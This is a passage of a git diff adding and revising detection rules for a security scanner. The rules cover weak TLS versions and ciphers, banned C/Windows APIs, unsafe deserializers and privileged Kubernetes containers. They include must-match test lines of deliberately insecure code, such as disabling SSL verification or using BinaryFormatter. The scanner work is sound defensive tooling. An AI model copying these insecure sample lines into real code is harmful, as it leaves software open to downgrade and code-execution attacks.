[ + "curl --tlsv1.1 https://example.com", + "context = SSL.Context(SSL.TLSv1_METHOD)" + ], + "must-not-match": [ + "curl --tlsv1.3 https://example.com" ] }, { @@ -112,6 +120,17 @@ ], "_comment": "OpenSSL cipher suite" } + ], + "must-match": [ + "const SSL_METHOD *m = SSLv23_method();", + "SSL_stateless(ssl);", + "SSL_CTX_set_max_proto_version(ctx, TLS1_1_VERSION);", + "flags |= SSL_EXT_TLS_ONLY;", + "options |= SSL_OP_NO_SSLv3;", + "SSL_CTX_set_cipher_list(ctx, \"AES256-SHA\");" + ], + "must-not-match": [ + "const SSL_METHOD *m = DTLS_method();" ] }, { @@ -142,8 +161,14 @@ ], "_comment": "BoringSSL functions that implement specific protocol versions" } + ], + "must-match": [ + "if (version == TLS1_2_VERSION) { return 0; }" + ], + "must-not-match": [ + "if (version == best_version) { return 0; }" ] - }, + }, { "name": "GnuTLS: Hard-coded SSL/TLS Protocol", "id": "DS440013", @@ -172,8 +197,14 @@ ], "_comment": "GnuTLS functions that implement specific protocol versions" } + ], + "must-match": [ + "gnutls_priority_set_direct(session, \"GNUTLS_SSL3\", NULL);" + ], + "must-not-match": [ + "gnutls_priority_set_direct(session, \"NORMAL\", NULL);" ] - }, + }, { "name": "LibreSSL: Hard-coded SSL/TLS Protocol", "id": "DS440014", @@ -202,8 +233,14 @@ ], "_comment": "LibreSSL functions that implement specific protocol versions" } + ], + "must-match": [ + "ctx->min_version = TLS1_VERSION;" + ], + "must-not-match": [ + "ctx->min_version = best_version;" ] - }, + }, { "name": "mbedTLS: Hard-coded SSL/TLS Protocol", "id": "DS440015", @@ -239,7 +276,14 @@ "code" ], "_comment": "mbedTLS functions that implement specific protocol versions" - } + } + ], + "must-match": [ + "mbedtls_ssl_conf_min_version(&conf, MBEDTLS_SSL_PROTO_TLS1_1, 0);", + "conf.max_major_ver = MBEDTLS_SSL_MAJOR_VERSION_3;" + ], + "must-not-match": [ + "mbedtls_ssl_conf_min_tls_version(&conf, MBEDTLS_SSL_VERSION_TLS1_3);" ] }, { @@ -262,7 +306,7 @@ "rule_info": "DS440001.md", "patterns": [ { - "pattern": "--(sslv2|sslv3|tlsv1|tlsv11|tlsv1\\.1|tlsv1\\.2)", + "pattern": "--(sslv2|sslv3|tlsv1\\.1|tlsv1\\.2|tlsv11|tlsv1)", "type": "regex", "scopes": [ "code" @@ -270,10 +314,9 @@ "_comment": "curl" } ], - "conditions" : [ + "conditions": [ { - "pattern" : - { + "pattern": { "pattern": "--tlsv1.3", "type": "substring", "scopes": [ @@ -283,6 +326,14 @@ "negate_finding": true, "search_in": "same-line" } + ], + "must-match": [ + "curl --tlsv1.1 https://example.com", + "curl --tlsv1.2 https://example.com", + "curl --sslv3 https://example.com" + ], + "must-not-match": [ + "curl --tlsv1.3 https://example.com" ] }, { @@ -292,7 +343,7 @@ "recommendation": "Review to ensure that a TLS protocol agility is maintained.", "overrides": [ "DS440000" - ], + ], "does_not_apply_to": [ "json", "yaml" @@ -305,8 +356,8 @@ "rule_info": "DS440001.md", "patterns": [ { - "pattern": "--secure-protocol=", - "type": "string", + "pattern": "--secure-protocol=\\S*", + "type": "regex", "scopes": [ "code" ], @@ -341,7 +392,7 @@ "scopes": [ "code" ] - }, + }, { "pattern": "SSLProtocol\\s.+", "type": "regex", @@ -358,6 +409,18 @@ ], "_comment": "Generic" } + ], + "must-match": [ + "wget --secure-protocol=SSLv3 https://example.com", + "curl_easy_setopt(h, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_1);", + "ssl_protocols TLSv1 TLSv1.1;", + "conn = HTTPSConnection(host, ssl_version=3)", + "export DISABLE_SSL_VERIFY=1", + "SSLProtocol -all +TLSv1", + "sslEnabledProtocols = TLSv1.1" + ], + "must-not-match": [ + "wget https://example.com" ] }, { @@ -384,6 +447,12 @@ ], "_comment": "Named curves from RustTLS, CNG, and others." } + ], + "must-match": [ + "SSL_CTX_set1_curves_list(ctx, \"brainpoolP160r1\");" + ], + "must-not-match": [ + "SSL_CTX_set_ciphersuites(ctx, \"TLS_AES_256_GCM_SHA384\");" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/TLS/tls_go.json b/rules/default/security/TLS/tls_go.json index 2ce5b5ea..b1be6c7d 100644 --- a/rules/default/security/TLS/tls_go.json +++ b/rules/default/security/TLS/tls_go.json @@ -40,7 +40,14 @@ "code" ], "_comment": "https://golang.org/src/crypto/tls/common.go" - } + } + ], + "must-match": [ + "cfg := &tls.Config{MinVersion: tls.VersionTLS10}", + "cfg.CurvePreferences = []tls.CurveID{tls.CurveP256}" + ], + "must-not-match": [ + "cfg := &tls.Config{}" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/TLS/tls_java.json b/rules/default/security/TLS/tls_java.json index e491b01f..660cacb4 100644 --- a/rules/default/security/TLS/tls_java.json +++ b/rules/default/security/TLS/tls_java.json @@ -40,6 +40,13 @@ "code" ] } + ], + "must-match": [ + "SSLContext ctx = SSLContext.getInstance(\"TLSv1\");", + "System.setProperty(\"https.protocols\", \"TLSv1\");" + ], + "must-not-match": [ + "SSLContext ctx = SSLContext.getDefault();" ] }, { @@ -68,6 +75,12 @@ ], "_comment": "https://square.github.io/okhttp/4.x/okhttp/okhttp3/-tls-version/" } + ], + "must-match": [ + "ConnectionSpec spec = new ConnectionSpec.Builder(true).tlsVersions(TlsVersion.TLS_1_0).build();" + ], + "must-not-match": [ + "ConnectionSpec spec = ConnectionSpec.MODERN_TLS;" ] - } -] \ No newline at end of file + } +] diff --git a/rules/default/security/TLS/tls_javascript.json b/rules/default/security/TLS/tls_javascript.json index 0125aa55..2451e3b3 100644 --- a/rules/default/security/TLS/tls_javascript.json +++ b/rules/default/security/TLS/tls_javascript.json @@ -6,7 +6,9 @@ "recommendation": "Review to ensure that a TLS protocol agility is maintained.", "applies_to": [ "javascript", - "typescript" + "typescript", + "javascriptreact", + "typescriptreact" ], "overrides": [ "DS440000" @@ -34,6 +36,13 @@ ], "_comment": "https://nodejs.org/api/tls.html#tls_tls_createserver_options_secureconnectionlistener" } + ], + "must-match": [ + "const agent = new https.Agent({ secureProtocol: 'TLSv1_method' });", + "npm config set tls-min-v1.0 true" + ], + "must-not-match": [ + "const agent = new https.Agent({ minVersion: 'TLSv1.3' });" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/TLS/tls_macos.json b/rules/default/security/TLS/tls_macos.json index 084f4627..1d8c0c3a 100644 --- a/rules/default/security/TLS/tls_macos.json +++ b/rules/default/security/TLS/tls_macos.json @@ -7,8 +7,7 @@ "overrides": [ "DS440000" ], - "applies_to": [ - ], + "applies_to": [], "tags": [ "Cryptography.Protocol.TLS.Hard-Coded" ], @@ -34,7 +33,13 @@ "_comment": "https://developer.apple.com/documentation/security/1503754-sslsetprotocolversionenabled?language=objc" } ], - "fix_its": [ + "fix_its": [], + "must-match": [ + "SSLSetProtocolVersionMin(context, kTLSProtocol1);", + "status = SSLSetProtocolVersionEnabled(ctx, kSSLProtocol3, true);" + ], + "must-not-match": [ + "SSLSetSessionOption(ctx, kSSLSessionOptionBreakOnServerAuth, true);" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/TLS/tls_python.json b/rules/default/security/TLS/tls_python.json index 76f87ad9..4d39ffd8 100644 --- a/rules/default/security/TLS/tls_python.json +++ b/rules/default/security/TLS/tls_python.json @@ -25,7 +25,12 @@ ] } ], - "fix_its": [ + "fix_its": [], + "must-match": [ + "context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)" + ], + "must-not-match": [ + "context = ssl.create_default_context()" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/TLS/tls_rust.json b/rules/default/security/TLS/tls_rust.json index 67538511..642ec526 100644 --- a/rules/default/security/TLS/tls_rust.json +++ b/rules/default/security/TLS/tls_rust.json @@ -26,7 +26,12 @@ "_comment": "RustTLS Enumeration: https://github.com/ctz/rustls/blob/1d70e45af6c7f0d6940f4c7b641daacc70ac9ce8/rustls/src/msgs/enums.rs" } ], - "fix_its": [ + "fix_its": [], + "must-match": [ + "let v = ProtocolVersion::TLSv1_0;" + ], + "must-not-match": [ + "let cfg = ClientConfig::builder().with_safe_defaults();" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/TLS/tls_win32.json b/rules/default/security/TLS/tls_win32.json index 099844fc..fa416d33 100644 --- a/rules/default/security/TLS/tls_win32.json +++ b/rules/default/security/TLS/tls_win32.json @@ -1,11 +1,12 @@ - [ - { - +[ + { "name": "Win32 - Hard-coded SSL/TLS Protocol", "id": "DS440075", "description": "Win32 - Hard-coded SSL/TLS Protocol", "recommendation": "Review to ensure that a TLS protocol agility is maintained.", - "overrides": ["DS440000"], + "overrides": [ + "DS440000" + ], "applies_to": [ "c", "cpp", @@ -27,16 +28,22 @@ ] } ], - "fix_its": [ + "fix_its": [], + "must-match": [ + "cred.grbitEnabledProtocols = SP_PROT_TLS1_0_CLIENT;" + ], + "must-not-match": [ + "cred.grbitEnabledProtocols = 0;" ] }, { - "name": "Win32 - Hard-coded SSL/TLS Protocol", "id": "DS440074", "description": "Win32 - Hard-coded SSL/TLS Protocol", "recommendation": "Review to ensure that a TLS protocol agility is maintained.", - "overrides": ["DS440000"], + "overrides": [ + "DS440000" + ], "applies_to": [ "c", "cpp" @@ -56,16 +63,22 @@ ] } ], - "fix_its": [ + "fix_its": [], + "must-match": [ + "boost::asio::ssl::context context(boost::asio::ssl::context::sslv23);" + ], + "must-not-match": [ + "boost::asio::ssl::context ctx(boost::asio::ssl::context::tlsv13);" ] }, { - "name": "Win32 - Hard-coded SSL/TLS Protocol", "id": "DS440076", "description": "Win32 - Hard-coded SSL/TLS Protocol", "recommendation": "Review to ensure that a TLS protocol agility is maintained.", - "overrides": ["DS440000"], + "overrides": [ + "DS440000" + ], "applies_to": [ "c", "cpp" @@ -104,7 +117,7 @@ "scopes": [ "code" ] - }, + }, { "pattern": "SEED-SHA|DH-DSS-SEED-SHA|DH-RSA-SEED-SHA|DHE-DSS-SEED-SHA|DHE-RSA-SEED-SHA|ADH-SEED-SHA", "type": "regex", @@ -125,14 +138,14 @@ "scopes": [ "code" ] - }, + }, { "pattern": "EXP1024-DES-CBC-SHA|EXP1024-RC4-SHA|EXP1024-DHE-DSS-DES-CBC-SHA|EXP1024-DHE-DSS-RC4-SHA|DHE-DSS-RC4-SHA", "type": "regex", "scopes": [ "code" ] - }, + }, { "pattern": "NULL-SHA256NULL-SHA256|AES128-SHA256|AES256-SHA256|AES128-GCM-SHA256|AES256-GCM-SHA384|DH-RSA-AES128-SHA256|DH-RSA-AES256-SHA256|DH-RSA-AES128-GCM-SHA256|DH-RSA-AES256-GCM-SHA384|DH-DSS-AES128-SHA256|DH-DSS-AES256-SHA256|DH-DSS-AES128-GCM-SHA256|DH-DSS-AES256-GCM-SHA384|DHE-RSA-AES128-SHA256|DHE-RSA-AES256-SHA256|DHE-RSA-AES128-GCM-SHA256|DHE-RSA-AES256-GCM-SHA384|DHE-DSS-AES128-SHA256|DHE-DSS-AES256-SHA256|DHE-DSS-AES128-GCM-SHA256|DHE-DSS-AES256-GCM-SHA384|ECDH-RSA-AES128-SHA256|ECDH-RSA-AES256-SHA384|ECDH-RSA-AES128-GCM-SHA256|ECDH-RSA-AES256-GCM-SHA384|ECDH-ECDSA-AES128-SHA256|ECDH-ECDSA-AES256-SHA384|ECDH-ECDSA-AES128-GCM-SHA256|ECDH-ECDSA-AES256-GCM-SHA384|ECDHE-RSA-AES128-SHA256|ECDHE-RSA-AES256-SHA384|ECDHE-RSA-AES128-GCM-SHA256|ECDHE-RSA-AES256-GCM-SHA384|ECDHE-ECDSA-AES128-SHA256|ECDHE-ECDSA-AES256-SHA384|ECDHE-ECDSA-AES128-GCM-SHA256|ECDHE-ECDSA-AES256-GCM-SHA384|ADH-AES128-SHA256|ADH-AES256-SHA256|ADH-AES128-GCM-SHA256|ADH-AES256-GCM-SHA384", "type": "regex", @@ -141,16 +154,28 @@ ] } ], - "fix_its": [ + "fix_its": [], + "must-match": [ + "SSL_CTX_set_cipher_list(ctx, \"RC4-MD5\");", + "SSL_CTX_set_cipher_list(ctx, \"AES128-SHA\");", + "SSL_CTX_set_cipher_list(ctx, \"CAMELLIA128-SHA\");", + "SSL_CTX_set_cipher_list(ctx, \"SEED-SHA\");", + "SSL_CTX_set_cipher_list(ctx, \"GOST94-GOST89-GOST89\");", + "SSL_CTX_set_cipher_list(ctx, \"EXP1024-RC4-SHA\");", + "SSL_CTX_set_cipher_list(ctx, \"AES128-SHA256\");" + ], + "must-not-match": [ + "SSL_CTX_set_ciphersuites(ctx, \"TLS_AES_256_GCM_SHA384\");" ] }, { - "name": "Win32 - Hard-coded SSL/TLS Protocol", "id": "DS440077", "description": "Win32 - Hard-coded SSL/TLS Protocol", "recommendation": "Review to ensure that a TLS protocol agility is maintained.", - "overrides": ["DS440000"], + "overrides": [ + "DS440000" + ], "applies_to": [ "c", "cpp" @@ -189,7 +214,7 @@ "scopes": [ "code" ] - }, + }, { "pattern": "SSLv3_method|SSLv3_server_method|SSLv3_client_method|SSLv23_method|SSLv23_server_method|SSLv23_client_method|TLSv1_method|TLSv1_server_method|TLSv1_client_method|TLSv1_1_method|TLSv1_1_server_method|TLSv1_1_client_method|TLSv1_2_method|TLSv1_2_server_method|TLSv1_2_client_method|DTLSv1_method|DTLSv1_server_method|DTLSv1_client_method|DTLSv1_2_method|DTLSv1_2_server_method|DTLSv1_2_client_method", "type": "regex", @@ -210,9 +235,20 @@ "scopes": [ "code" ] - } + } + ], + "fix_its": [], + "must-match": [ + "SSL_CTX_config(ctx, \"system_default\");", + "SSL_CTX_set_security_level(ctx, 0);", + "SSL_CTX_set_min_proto_version(ctx, TLS1_VERSION);", + "const SSL_METHOD *m = TLS_client_method();", + "const SSL_METHOD *m = SSLv3_method();", + "ctx = SSL_CTX_new(method);", + "SSL_stateless(ssl);" ], - "fix_its": [ + "must-not-match": [ + "SSL *ssl = SSL_new(ctx);" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/api/dangerous_api.json b/rules/default/security/api/dangerous_api.json index 5c902bed..21024880 100644 --- a/rules/default/security/api/dangerous_api.json +++ b/rules/default/security/api/dangerous_api.json @@ -17,7 +17,7 @@ "rule_info": "DS154189.md", "patterns": [ { - "pattern": "(sprintf|_getts|_getws|_snprintf|_sntprintf|_snwprintf|_stprintf|_tcsat|_tcscpy|_tcslen|_tcsncpy|_vsnprintf|_vsntprintf|_vsnwprintf|_vstprintf|alloca|asctime|atof|atoi|atoll|bsearch|ctime|fopen|fprintf|freopen|fscanf|fwprintf|fwscanf|getenv|getwd|gmtime|localtime|lstrcat|lstrcpy|mbsrtowcs|mbstowcs|memmove|mktemp|printf|qsort|rewind|scanf|setbuf|sscanf|strcatbuff|strerror|strtok|swprintf|swscanf|tmpnam|vfprintf|vfscanf|vfwscanf|vprintf|vscanf|vsnprintf|vsprintf|vsscanf|vswprintf|vswscanf|vwprintf|vwscanf|wcrtomb|wcrtombs|wcscat|wcscpy|wcslen|wcsncat|wcsncpy|wcsrtombs|wcstok|wctomb|wmemcpy|wmemmove|wnsprintf|wprintf|wscanf|wsprintf|wvnsprintf|wvsprintf)", + "pattern": "(_alloca|_ftcscat|_ftcscpy|_getts|_gettws|_getws|_i64toa|_i64tow|_itoa|_itow|_makepath|_mbccat|_mbccpy|_mbscat|_mbscpy|_mbsnbcat|_mbsnbcpy|_mbsncat|_mbsncpy|_mbstok|_snprintf|_sntprintf|_sntscanf|_snwprintf|_splitpath|_stprintf|_stscanf|_tccat|_tccpy|_tcsat|_tcscat|_tcscpy|_tcsncat|_tcsncpy|_tcstok|_tmakepath|_tscanf|_tsplitpath|_ui64toa|_ui64tot|_ui64tow|_ultoa|_ultot|_ultow|_vsnprintf|_vsntprintf|_vsnwprintf|_vstprintf|_wmakepath|_wsplitpath|alloca|asctime|atof|atoi|atol|atoll|bsearch|ChangeWindowMessageFilter|CharToOem|CharToOemA|CharToOemBuffA|CharToOemBuffW|CharToOemW|ctime|fopen|fprintf|freopen|fscanf|fwprintf|fwscanf|getenv|getwd|gmtime|localtime|lstrcat|lstrcatA|lstrcatn|lstrcatnA|lstrcatnW|lstrcatW|lstrcpy|lstrcpyA|lstrcpyn|lstrcpynA|lstrcpynW|lstrcpyW|lstrncat|makepath|mbsrtowcs|mbstowcs|memmove|mktemp|OemToChar|OemToCharA|OemToCharW|printf|qsort|rewind|scanf|setbuf|snprintf|snscanf|snwscanf|sprintf|sprintfA|sprintfW|sscanf|StrCat|StrCatA|strcatA|StrCatBuff|strcatbuff|StrCatBuffA|StrCatBuffW|StrCatChainW|StrCatN|StrCatNA|StrCatNW|StrCatW|strcatW|StrCpy|StrCpyA|strcpyA|StrCpyN|StrCpyNA|strcpynA|StrCpyNW|StrCpyW|strcpyW|strerror|StrNCat|StrNCatA|StrNCatW|StrNCpy|StrNCpyA|StrNCpyW|strtok|swprintf|swscanf|tmpnam|vfprintf|vfscanf|vfwscanf|vprintf|vscanf|vsnprintf|vsprintf|vsscanf|vswprintf|vswscanf|vwprintf|vwscanf|wcrtomb|wcrtombs|wcscat|wcscpy|wcsncat|wcsncpy|wcsrtombs|wcstok|wcstombs|wctomb|wmemcpy|wmemmove|wnsprintf|wnsprintfA|wnsprintfW|wprintf|wscanf|wsprintf|wsprintfA|wsprintfW|wvnsprintf|wvnsprintfA|wvnsprintfW|wvsprintf|wvsprintfA|wvsprintfW)", "type": "RegexWord", "scopes": [ "code" @@ -25,7 +25,17 @@ } ], "must-match": [ - "int main ()\n{\n char buffer [50];\n int n, a=5, b=3;\n n=sprintf (buffer, \"%d plus %d is %d\", a, b, a+b);\\n printf (\"[%s] is a string %d chars long\n\",buffer,n);\n return 0;\n}" + "int main ()\n{\n char buffer [50];\n int n, a=5, b=3;\n n=sprintf (buffer, \"%d plus %d is %d\", a, b, a+b);\\n printf (\"[%s] is a string %d chars long\n\",buffer,n);\n return 0;\n}", + "lstrcpyn(dest, src, 32);", + "StrCpyW(dest, src);", + "_splitpath(path, drive, dir, fname, ext);", + "_itoa(value, buffer, 10);", + "CharToOemA(src, dest);" + ], + "must-not-match": [ + "strcpy_s(d, _countof(d), s);", + "snprintf_s(buf, sizeof(buf), \"%d\", n);", + "int total = countItems();" ] }, { @@ -326,5 +336,138 @@ "fgets(string);", "gets_s(string);" ] + }, + { + "name": "Banned pointer validation function detected (IsBad*Ptr)", + "id": "DS154190", + "description": "The IsBad*Ptr family cannot reliably determine whether a pointer is valid. It works by triggering and swallowing access violations, which can corrupt the guard page of a thread stack, mask real defects, and still return the wrong answer for a pointer that becomes invalid immediately afterwards.", + "recommendation": "Remove the check. Validate pointers by contract and structured design rather than by probing memory.", + "applies_to": [ + "c", + "cpp", + "objective-c" + ], + "tags": [ + "API.DangerousAPI.BannedFunction" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS154190.md", + "patterns": [ + { + "pattern": "(IsBadCodePtr|IsBadHugeReadPtr|IsBadHugeWritePtr|IsBadReadPtr|IsBadStringPtr|IsBadStringPtrA|IsBadStringPtrW|IsBadWritePtr)", + "type": "RegexWord", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "if (IsBadWritePtr(p, cb)) { return E_POINTER; }", + "IsBadReadPtr(buffer, length);", + "if (IsBadStringPtrW(s, MAX_PATH)) return;" + ], + "must-not-match": [ + "if (p == nullptr) { return E_POINTER; }" + ] + }, + { + "name": "Banned unbounded memory copy detected (CopyMemory)", + "id": "DS154191", + "description": "CopyMemory and RtlCopyMemory are Windows aliases for memcpy. They take a caller-supplied length and perform no bounds checking against the destination, so an incorrect length silently corrupts adjacent memory.", + "recommendation": "Use memcpy_s, or a bounded copy that is given the size of the destination buffer.", + "applies_to": [ + "c", + "cpp", + "objective-c" + ], + "tags": [ + "API.DangerousAPI.BannedFunction" + ], + "confidence": "high", + "severity": "moderate", + "rule_info": "DS154191.md", + "patterns": [ + { + "pattern": "(CopyMemory|RtlCopyMemory)", + "type": "RegexWord", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "RtlCopyMemory(dest, src, cb);", + "CopyMemory(&out, &in, sizeof(in));" + ], + "must-not-match": [ + "memcpy_s(dest, sizeof(dest), src, len);", + "RtlCopyMemoryNonTemporal(dest, src, cb);" + ] + }, + { + "name": "Banned unbounded string length function detected", + "id": "DS154192", + "description": "strlen and lstrlen read until they find a terminator. If the buffer is not terminated within its allocation they read past the end of it.", + "recommendation": "Use strnlen_s, or another length function that is given the size of the buffer.", + "applies_to": [ + "c", + "cpp", + "objective-c" + ], + "tags": [ + "API.DangerousAPI.BannedFunction" + ], + "confidence": "medium", + "severity": "BestPractice", + "rule_info": "DS154192.md", + "patterns": [ + { + "pattern": "(_tcslen|lstrlen|lstrlenA|lstrlenW|strlen|wcslen)", + "type": "RegexWord", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "size_t n = strlen(input);", + "int n = lstrlenW(s);", + "size_t n = wcslen(ws);" + ], + "must-not-match": [ + "size_t n = strnlen_s(input, sizeof(input));" + ] + }, + { + "name": "Objective-C method swizzling detected", + "id": "DS154193", + "description": "class_addMethod and class_replaceMethod rewrite the method table at runtime. The SDL lists both as banned because the result depends on load order, silently changes behaviour for every caller of the affected selector, and is difficult to reason about or review.", + "recommendation": "Prefer subclassing, categories that add rather than replace behaviour, or an explicit delegate.", + "applies_to": [ + "objective-c" + ], + "tags": [ + "API.DangerousAPI.BannedFunction" + ], + "confidence": "high", + "severity": "ManualReview", + "rule_info": "DS154193.md", + "patterns": [ + { + "pattern": "(class_addMethod|class_replaceMethod)", + "type": "RegexWord", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "class_replaceMethod(cls, sel, imp, types);", + "class_addMethod(cls, @selector(foo), (IMP)fooImp, \"v@:\");" + ], + "must-not-match": [ + "[super viewDidLoad];" + ] } -] \ No newline at end of file +] diff --git a/rules/default/security/api/deserialization.json b/rules/default/security/api/deserialization.json index 020ad209..e6298f0d 100644 --- a/rules/default/security/api/deserialization.json +++ b/rules/default/security/api/deserialization.json @@ -108,7 +108,7 @@ "scopes": [ "code" ] - } + } ], "must-match": [ "thing = YAML.load_file('some.yml')", @@ -160,5 +160,183 @@ "TypeNameHandling = TypeNameHandling.Arrays", "TypeNameHandling = TypeNameHandling.All" ] + }, + { + "name": "Do not deserialize untrusted data.", + "id": "DS425050", + "description": "torch.load, joblib.load and the marshal module execute arbitrary code while deserializing. ADM.10010 names these explicitly for AI model files obtained from public sources such as GitHub or Hugging Face.", + "recommendation": "Load model weights with a format that does not execute code, such as safetensors, or verify provenance and load only in a sandbox.", + "applies_to": [ + "python" + ], + "tags": [ + "Deserialization" + ], + "confidence": "high", + "severity": "ManualReview", + "rule_info": "DS425050.md", + "patterns": [ + { + "pattern": "(torch|joblib|dill|marshal)\\.loads?\\s*\\(", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "model = torch.load('model.pt')", + "clf = joblib.load(path)", + "obj = marshal.loads(data)" + ], + "must-not-match": [ + "from safetensors.torch import load_file", + "weights = load_file('model.safetensors')" + ] + }, + { + "name": "Do not deserialize untrusted data.", + "id": "DS425060", + "description": "yaml.load constructs arbitrary Python objects and can execute code. ADM.10010 states it cannot be used to safely deserialize untrusted data and that safe_load must be used instead.", + "recommendation": "Use yaml.safe_load, or pass Loader=yaml.SafeLoader explicitly.", + "applies_to": [ + "python" + ], + "tags": [ + "Deserialization" + ], + "confidence": "high", + "severity": "ManualReview", + "rule_info": "DS425060.md", + "patterns": [ + { + "pattern": "yaml\\.load(_all)?\\s*\\(", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "(SafeLoader|CSafeLoader|BaseLoader)", + "type": "regex", + "scopes": [ + "code" + ] + }, + "negate_finding": true, + "search_in": "same-line" + } + ], + "must-match": [ + "config = yaml.load(open('config.yml'))", + "data = yaml.load_all(stream)" + ], + "must-not-match": [ + "config = yaml.safe_load(open('config.yml'))", + "config = yaml.load(stream, Loader=yaml.SafeLoader)" + ] + }, + { + "name": "Do not deserialize untrusted data.", + "id": "DS425070", + "description": "BinaryFormatter, SoapFormatter, NetDataContractSerializer, LosFormatter and ObjectStateFormatter reconstruct arbitrary types named in the payload, which allows an attacker who controls the input to run code. ADM.10010 approves only System.Text.Json, XmlSerializer, DataContractSerializer, DataContractJsonSerializer, Newtonsoft.Json and protobuf.", + "recommendation": "Use System.Text.Json or another approved serializer. BinaryFormatter is obsolete and was removed in .NET 9.", + "applies_to": [ + "csharp", + "fsharp", + "vb" + ], + "tags": [ + "Deserialization" + ], + "confidence": "high", + "severity": "critical", + "rule_info": "DS425070.md", + "patterns": [ + { + "pattern": "(BinaryFormatter|SoapFormatter|NetDataContractSerializer|LosFormatter|ObjectStateFormatter)", + "type": "RegexWord", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "var formatter = new BinaryFormatter();", + "NetDataContractSerializer s = new NetDataContractSerializer();", + "return (T)new LosFormatter().Deserialize(input);" + ], + "must-not-match": [ + "var result = JsonSerializer.Deserialize(json);", + "var s = new DataContractSerializer(typeof(T));" + ] + }, + { + "name": "Do not deserialize untrusted data.", + "id": "DS425080", + "description": "JavaScriptSerializer stopped being an approved safe deserializer on 2023-03-10. With a type resolver such as SimpleTypeResolver it reconstructs types named in the payload, which allows code execution.", + "recommendation": "Use System.Text.Json. If JavaScriptSerializer cannot be removed, never construct it with a JavaScriptTypeResolver.", + "applies_to": [ + "csharp", + "fsharp", + "vb" + ], + "tags": [ + "Deserialization" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS425080.md", + "patterns": [ + { + "pattern": "(JavaScriptSerializer|SimpleTypeResolver)", + "type": "RegexWord", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "var s = new JavaScriptSerializer(new SimpleTypeResolver());", + "JavaScriptSerializer serializer = new JavaScriptSerializer();" + ], + "must-not-match": [ + "var result = JsonSerializer.Deserialize(json);" + ] + }, + { + "name": "Do not deserialize untrusted data.", + "id": "DS425090", + "description": "ADM.10010 approves Boost but singles out Boost Property Tree, whose JSON and XML readers have known denial-of-service behaviour on deeply nested payloads because they recurse without a depth limit.", + "recommendation": "Use nlohmann/json, or bound both input size and nesting depth before parsing.", + "applies_to": [ + "c", + "cpp" + ], + "tags": [ + "Deserialization" + ], + "confidence": "medium", + "severity": "ManualReview", + "rule_info": "DS425090.md", + "patterns": [ + { + "pattern": "(boost::property_tree|read_json|read_xml)", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "boost::property_tree::ptree pt;", + "read_json(stream, pt);" + ], + "must-not-match": [ + "nlohmann::json j = nlohmann::json::parse(input);" + ] } -] \ No newline at end of file +] diff --git a/rules/default/security/api/suggested_api.json b/rules/default/security/api/suggested_api.json index db008e33..1392099d 100644 --- a/rules/default/security/api/suggested_api.json +++ b/rules/default/security/api/suggested_api.json @@ -91,7 +91,7 @@ "description": "If a string is missing a null terminator, strlen will read past the end of the buffer", "recommendation": "In instances where you know the maximum size of a string's buffer, use strlen_s or strnlen to prevent over-reading", "overrides": [ - "DS154189" + "DS154192" ], "applies_to": [ "c", @@ -141,6 +141,9 @@ ], "must-match": [ "int main () {\\n const char src[50] = \"www.tutorialspoint.com\";\\n int a = strlen(src)+1;\\n}" + ], + "must-not-match": [ + "size_t n = strnlen_s(s, sizeof(s));" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/containers/kubernetes.json b/rules/default/security/containers/kubernetes.json new file mode 100644 index 00000000..2cdf700b --- /dev/null +++ b/rules/default/security/containers/kubernetes.json @@ -0,0 +1,416 @@ +[ + { + "name": "Kubernetes container runs privileged", + "id": "DS200000", + "description": "A container is configured with securityContext.privileged: true, which disables container isolation and gives the process effectively full access to the host.", + "recommendation": "Remove privileged: true and grant only the specific Linux capabilities the workload needs.", + "applies_to": [ + "yaml" + ], + "tags": [ + "Container.Kubernetes" + ], + "confidence": "high", + "severity": "critical", + "rule_info": "DS200000.md", + "patterns": [ + { + "ymlpaths": [ + "/spec/containers/*/securityContext/privileged", + "/spec/initContainers/*/securityContext/privileged", + "/spec/template/spec/containers/*/securityContext/privileged", + "/spec/template/spec/initContainers/*/securityContext/privileged", + "/spec/jobTemplate/spec/template/spec/containers/*/securityContext/privileged", + "/spec/jobTemplate/spec/template/spec/initContainers/*/securityContext/privileged" + ], + "pattern": "true", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "apiVersion", + "type": "substring", + "scopes": [ + "code" + ] + }, + "negate_finding": false, + "search_in": "same-file" + } + ], + "must-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n securityContext:\n privileged: true\n" + ], + "must-not-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n securityContext:\n privileged: false\n" + ] + }, + { + "name": "Kubernetes container allows privilege escalation", + "id": "DS200001", + "description": "allowPrivilegeEscalation is true, so a process in the container can gain more privileges than its parent, for example through a setuid binary. The Restricted Pod Security Standard requires this to be false.", + "recommendation": "Set allowPrivilegeEscalation: false in the container securityContext.", + "applies_to": [ + "yaml" + ], + "tags": [ + "Container.Kubernetes" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS200001.md", + "patterns": [ + { + "ymlpaths": [ + "/spec/containers/*/securityContext/allowPrivilegeEscalation", + "/spec/initContainers/*/securityContext/allowPrivilegeEscalation", + "/spec/template/spec/containers/*/securityContext/allowPrivilegeEscalation", + "/spec/template/spec/initContainers/*/securityContext/allowPrivilegeEscalation", + "/spec/jobTemplate/spec/template/spec/containers/*/securityContext/allowPrivilegeEscalation", + 